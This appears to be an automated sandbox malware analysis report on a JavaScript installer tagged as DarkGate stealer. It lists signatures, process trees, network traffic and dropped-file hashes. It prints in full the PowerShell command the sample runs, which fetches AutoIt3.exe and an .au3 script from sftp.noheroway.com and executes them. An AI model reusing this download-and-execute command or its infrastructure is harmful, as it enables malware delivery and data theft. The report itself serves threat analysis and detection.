Malware Analysis Report

2024-11-30 11:14

Sample ID 231031-syq7taae4s
Target 31102023_2331_StartInstaller.js
SHA256 3a9494dd4b5de532abfffc60639bd1347e41f60582954a14d7c1e32ede07d8b0
Tags
darkgate ads5 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3a9494dd4b5de532abfffc60639bd1347e41f60582954a14d7c1e32ede07d8b0

Threat Level: Known bad

The file 31102023_2331_StartInstaller.js was found to be: Known bad.

Malicious Activity Summary

darkgate ads5 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-31 15:32

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-31 15:32

Reported

2023-10-31 15:34

Platform

win7-20231023-en

Max time kernel

118s

Max time network

123s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_2331_StartInstaller.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_2331_StartInstaller.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msitgileccg' -OutFile 'tgileccg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'tgileccg.au3'"

Network

N/A

Files

memory/1280-4-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

memory/1280-6-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/1280-5-0x00000000020A0000-0x00000000020A8000-memory.dmp

memory/1280-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

memory/1280-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

memory/1280-10-0x00000000029A0000-0x0000000002A20000-memory.dmp

memory/1280-9-0x00000000029A0000-0x0000000002A20000-memory.dmp

memory/1280-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

memory/1280-12-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-31 15:32

Reported

2023-10-31 15:35

Platform

win10v2004-20231023-en

Max time kernel

144s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_2331_StartInstaller.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_2331_StartInstaller.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msitgileccg' -OutFile 'tgileccg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'tgileccg.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" tgileccg.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 sftp.noheroway.com udp
US 185.174.101.224:443 sftp.noheroway.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 224.101.174.185.in-addr.arpa udp
US 185.174.101.224:443 sftp.noheroway.com tcp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 15.173.189.20.in-addr.arpa udp

Files

memory/5076-0-0x0000023679F90000-0x0000023679FB2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3z4c4cgp.lfn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5076-10-0x00007FFB953C0000-0x00007FFB95E81000-memory.dmp

memory/5076-11-0x000002367A610000-0x000002367A620000-memory.dmp

memory/5076-12-0x000002367A610000-0x000002367A620000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/5076-26-0x00007FFB953C0000-0x00007FFB95E81000-memory.dmp

C:\tepp\tgileccg.au3

MD5 c8c380bb968e44498fa92a16ff0ce2d7
SHA1 50115269aad6a68b29440d0c2d0af0f6297cc75e
SHA256 368d0d77dec5c0e5700fdee93dc8cf51cfd6307d7aba1bd7a6755d30c50457c8
SHA512 146b81e241c4cfca5ba97b837f7405d45772f9117503680e3a727ebb0425d211f667f706b75d00d0fb8b5d5b16a1acf0f86bd357bc989cacfb991a8da4c6eca5

memory/4696-29-0x0000000001130000-0x0000000001530000-memory.dmp

memory/4696-30-0x0000000003EA0000-0x00000000041CA000-memory.dmp

memory/4696-31-0x0000000003EA0000-0x00000000041CA000-memory.dmp